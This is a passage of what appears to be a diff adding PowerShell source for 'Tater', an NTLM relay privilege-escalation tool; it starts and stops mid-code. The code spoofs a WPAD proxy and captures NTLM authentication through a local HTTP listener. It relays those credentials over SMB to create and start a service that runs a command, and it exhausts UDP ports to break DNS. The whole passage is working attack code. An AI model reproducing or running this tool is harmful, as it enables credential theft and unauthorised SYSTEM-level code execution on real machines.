+ 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0x00,0x15,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + + $SMB_service_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00 + + $SMB_multiplex_id = 0x07 + } + + 5 + { + $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 6 + { + $SMB_relay_execute_send = [Array]0x00 + + $SMB_service_data_length_bytes + + 0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, + 0xff,0xff,0xff,0xff,0x08,0x00 + + $SMB_service_byte_count_bytes + + 0x00,0x00 + + $SMB_service_byte_count_bytes + + 0x3f,0x00,0x00,0x00,0x00,0x00 + + $SMB_service_byte_count_bytes + + 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00 + + $SMB_service_byte_count_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c, + 0x00 + + $SMB_context_handler + + 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + + $SMB_service_bytes + + 0x00,0x00 + + $SMB_referent_ID_bytes + + 0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + + $SMB_service_bytes + + 0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00 + + $SMB_relay_command_length_bytes + + 0x00,0x00,0x00,0x00 + + $SMB_relay_command_length_bytes + + $SMB_relay_command_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00 + + $SMB_multiplex_id = 0x09 + } + + 7 + { + $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 8 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, + 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, + 0xff,0xff,0xff,0xff,0x08,0x00,0x34,0x00,0x00,0x00,0x34,0x00,0x3f, + 0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00, + 0x00,0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00, + 0x00,0x00,0x00,0x13,0x00 + + $SMB_context_handler + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + } + + 9 + { + $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 10 + { + $SMB_relay_execute_send = 0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, + 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + 0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00, + 0xff,0xff,0xff,0xff,0x08,0x00,0x2c,0x00,0x00,0x00,0x2c,0x00,0x3f, + 0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, + 0x00,0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00, + 0x00,0x00,0x00,0x02,0x00 + + $SMB_context_handler + } + + 11 + { + $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + } + + $SMB_relay_execute_stream.Write($SMB_relay_execute_send,0,$SMB_relay_execute_send.Length) + $SMB_relay_execute_stream.Flush() + + if ($k -eq 5) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) + $SMB_context_handler = $SMB_relay_execute_bytes[88..107] + + if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')) + { + #$tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\" + "$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") + } + elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') + { + $tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\" + "$HTTP_NTLM_user_string is not a local administrator on " + "$SMBRelayTarget") + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + + } + elseif ($k -eq 7 -or $k -eq 9 -or $k -eq 11) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) + + switch($k) + { + + 7 { + $SMB_context_handler = $SMB_relay_execute_bytes[92..111] + $SMB_relay_execute_error_message = "Service creation fault context mismatch" + } + + 11 { + $SMB_relay_execute_error_message = "Service start fault context mismatch" + } + + 13 { + $SMB_relay_execute_error_message = "Service deletion fault context mismatch" + } + + } + + if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') + { + $SMB_relay_failed = $true + } + + if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') + { + $tater.console_queue.Add("$SMB_relay_execute_error_message service on $SMBRelayTarget") + $SMB_relay_failed = $true + } + + } + else + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes,0,$SMB_relay_execute_bytes.Length) + } + + if(!$SMB_relay_failed -and $k -eq 7) + { + $tater.console_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget") + } + elseif(!$SMB_relay_failed -and $k -eq 9) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Command likely executed on $SMBRelayTarget") + } + elseif(!$SMB_relay_failed -and $k -eq 11) + { + $tater.console_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget") + } + + $SMB_relay_execute_ReadAndRequest = 0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00, + 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x08 + + $tater.process_ID_bytes + + $SMB_user_ID + + $SMB_multiplex_ID + + 0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58, + 0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00 + + if($SMB_relay_failed) + { + $tater.console_queue.Add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget") + BREAK SMB_relay_execute_loop + } + + $k++ + + } + + $tater.SMB_relay_active_step = 0 + + $SMB_relay_socket.Close() + + if(!$SMB_relay_failed) + { + $tater.SMBRelay_success = $True + } + + } + +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($Command,$HTTPPort,$WPADDirectHosts,$WPADPort) + + function NTLMChallengeBase64 + { + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, + 0x00,0x00,0x00,0x05,0xc2,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + return $NTLM + } + + $SMBRelayTarget = "127.0.0.1" + $HTTP_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPPort) + $WPADDirectHosts += "localhost" + $HTTP_content_length = $WPADPort.Length + 62 + + foreach($WPAD_direct_host in $WPADDirectHosts) + { + $HTTP_content_length += $WPAD_direct_host.Length + 43 + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_content_length) + $WPAD_direct_host_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPAD_direct_host) + + $WPAD_direct_host_function_bytes = 0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49, + 0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22 + + $WPAD_direct_host_bytes + + 0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49, + 0x52,0x45,0x43,0x54,0x22,0x3b + + $WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes + } + + $WPAD_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADPort) + + :HTTP_listener_loop while ($tater.running) + { + + if($tater.SMBRelay_success) + { + StopTater + } + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + $suppress_waiting_message = $false + + while(!$tater.HTTP_listener.Pending() -and !$tater.HTTP_client.Connected) + { + + if(!$suppress_waiting_message) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + + Start-Sleep -s 1 + + if($tater.SMBRelay_success) + { + StopTater + } + + } + + if(!$tater.HTTP_client.Connected) + { + $tater.HTTP_client = $tater.HTTP_listener.AcceptTcpClient() + $HTTP_stream = $tater.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($tater.request_RawUrl -eq "") + { + $tater.request_RawUrl = "/" + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + $HTTP_type = "HTTP" + $HTTP_request_type = "" + + if ($tater.request_RawUrl -match '/wpad.dat') + { + $tater.response_StatusCode = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + + $HTTP_WPAD_response = 0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x46,0x69,0x6e,0x64,0x50,0x72, + 0x6f,0x78,0x79,0x46,0x6f,0x72,0x55,0x52,0x4c,0x28,0x75,0x72,0x6c,0x2c,0x68, + 0x6f,0x73,0x74,0x29,0x7b + + $WPAD_direct_hosts_bytes + + 0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x50,0x52,0x4f,0x58,0x59,0x20,0x31, + 0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a + + $WPAD_port_bytes + + 0x22,0x3b,0x7d + + $NTLM = '' + $HTTP_request_type = "WPAD" + } + elseif ($tater.request_RawUrl -eq '/GETHASHES') + { + $tater.response_StatusCode = 0x34,0x30,0x31 + $HTTP_response_phrase = 0x4f,0x4b + $NTLM = 'NTLM' + $HTTP_request_type = "NTLM" + } + else + { + $tater.response_StatusCode = 0x33,0x30,0x32 + + $HTTP_location = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72, + 0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79, + 0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68, + 0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x45,0x78,0x70,0x69, + 0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a,0x61,0x6e,0x20, + 0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54, + 0x0d,0x0a,0x4c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3a,0x20,0x68,0x74,0x74,0x70,0x3a, + 0x2f,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x3a + + $HTTP_port_bytes + + 0x2f,0x47,0x45,0x54,0x48,0x41,0x53,0x48,0x45,0x53,0x0d,0x0a + + $HTTP_response_phrase = 0x4f,0x4b + $NTLM = '' + $HTTP_request_type = "Redirect" + + if($tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Attempting to redirect to http://localhost:" + "$HTTPPort/gethashes and trigger relay") + } + + } + + if(($tater.request_RawUrl_old -ne $tater.request_RawUrl -and $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) -or $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) + { + $tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for " + $tater.request_RawUrl + " received from " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + } + + if($authentication_header.StartsWith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $tater.response_StatusCode = 0x34,0x30,0x31 + $HTTP_response_phrase = 0x4f,0x4b + + if ($HTTP_request_bytes[8] -eq 1) + { + + if($tater.SMB_relay_active_step -eq 0) + { + $tater.SMB_relay_active_step = 1 + $tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + $tater.console_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + "$SMBRelayTarget") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.connect($SMBRelayTarget,"445") + + if(!$SMB_relay_socket.connected) + { + $tater.console_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") + $tater.SMB_relay_active_step = 0 + } + + if($tater.SMB_relay_active_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes + $tater.SMB_relay_active_step = 2 + $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.Length] + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_reserved = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 32)..($SMB_relay_NTLMSSP_bytes_index + 39)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0xc2,0x89,0xa2 + + $SMB_relay_NTLM_challenge + + $SMB_reserved + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $tater.HTTP_challenge_queue.Add($tater.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $tater.HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $tater.console_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge " + "for relay from $SMBRelayTarget") + $tater.console_queue.Add("$(Get-Date -format 's') - Providing challenge " + "$NTLM_challenge for relay to " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + $tater.SMB_relay_active_step = 3 + } + else + { + $NTLM = NTLMChallengeBase64 + } + + } + else + { + $NTLM = NTLMChallengeBase64 + } + + $tater.response_StatusCode = 0x34,0x30,0x31 + $HTTP_response_phrase = 0x4f,0x4b + + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + + if ([System.BitConverter]::ToString($HTTP_request_bytes[16]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[24]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[32]) -eq '58') + { + $HTTP_NTLM_user_string = '' + $HTTP_NTLM_host_string = '' + } + else + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $tater.response_StatusCode = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $NTLM_challenge = '' + + if ($tater.SMB_relay_active_step -eq 3) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Sending response for " + "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to " + "$SMBRelaytarget") + $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID + $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.Length] + + if(!$SMB_relay_failed -and [System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')) + { + $tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay " + "authentication successful for $HTTP_NTLM_domain_string\" + "$HTTP_NTLM_user_string on $SMBRelayTarget") + $tater.SMB_relay_active_step = 4 + SMBRelayExecute $SMB_relay_socket $SMB_user_ID + } + else + { + $tater.console_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay " + "authentication failed for $HTTP_NTLM_domain_string\" + "$HTTP_NTLM_user_string on $SMBRelayTarget") + $tater.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + } + + } + + } + else + { + $NTLM = 'NTLM' + } + + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + $HTTP_WWW_authenticate_header = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61, + 0x74,0x65,0x3a,0x20 + + if($NTLM) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $tater.response_StatusCode + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a, + 0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, + 0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d, + 0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38, + 0x0d,0x0a,0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20, + 0x30,0x31,0x20,0x4a,0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30, + 0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a + + $HTTP_WWW_authenticate_header + + $NTLM + + 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68, + 0x3a,0x20,0x30,0x0d,0x0a,0x0d,0x0a + } + elseif($HTTP_request_type -eq 'WPAD') + { + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $tater.response_StatusCode + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, + 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, + 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, + 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + + $HTTP_content_length_bytes + + 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, + 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, + 0x0a,0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a,0x0d,0x0a + + $HTTP_WPAD_response + } + elseif($HTTP_request_type -eq 'Redirect') + { + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + + $tater.response_StatusCode + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68, + 0x3a,0x20,0x30,0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63, + 0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50, + 0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a + + $HTTP_location + + 0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a,0x0d,0x0a + } + else + { + $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x20 + + $tater.response_StatusCode + + 0x20 + + $HTTP_response_phrase + + 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68, + 0x3a,0x20,0x31,0x30,0x37,0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d, + 0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49, + 0x2f,0x32,0x2e,0x30,0x0d,0x0a,0x44,0x61,0x74,0x65,0x3a + + $HTTP_timestamp + + 0x0d,0x0a,0x0d,0x0a + } + + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + start-sleep -s 1 + $tater.request_RawUrl_old = $tater.request_RawUrl + $tater.HTTP_client_handle_old= $tater.HTTP_client.Client.Handle + } + +} + +$exhaust_UDP_scriptblock = +{ + $tater.exhaust_UDP_running = $true + $tater.console_queue.Add("$(Get-Date -format 's') - Trying to exhaust UDP source ports so DNS lookups will fail") + $UDP_socket_list = New-Object "System.Collections.Generic.List[Net.Sockets.Socket]" + $UDP_failed_ports_list = New-Object "System.Collections.Generic.List[Int]" + $i=0 + + for ($i = 0; $i -le 65535; $i++) + { + + try + { + + if ($i -ne 137 -and $i -ne 53) + { + $IP_end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]::Any,$i) + $UDP_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::Udp) + $UDP_socket.Bind($IP_end_point) + $UDP_socket_list.Add($UDP_socket) + } + + } + catch + { + $UDP_failed_ports_list.Add($i); + $tater.console_queue.Add("$(Get-Date -format 's') - Couldn't bind to UDP port $i") + } + + } + + $tater.UDP_exhaust_success = $false + + while (!$tater.UDP_exhaust_success) + { + + if(!$suppress_flush_message) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Flushing DNS resolver cache") + $suppress_flush_message = $true + } + + DnsFlushResolverCache + + try + { + [System.Net.Dns]::GetHostEntry("microsoft.com") + } + catch + { + $tater.console_queue.Add("$(Get-Date -format 's') - DNS lookup failed so UDP exhaustion worked") + $tater.UDP_exhaust_success = $true + break + } + + $tater.console_queue.Add("$(Get-Date -format 's') - DNS lookup succeeded so UDP exhaustion failed") + + foreach ($UDP_port in $UDP_failed_ports_list) + { + + try + { + $IP_end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]::Any,$i) + $UDP_socket = New-Object 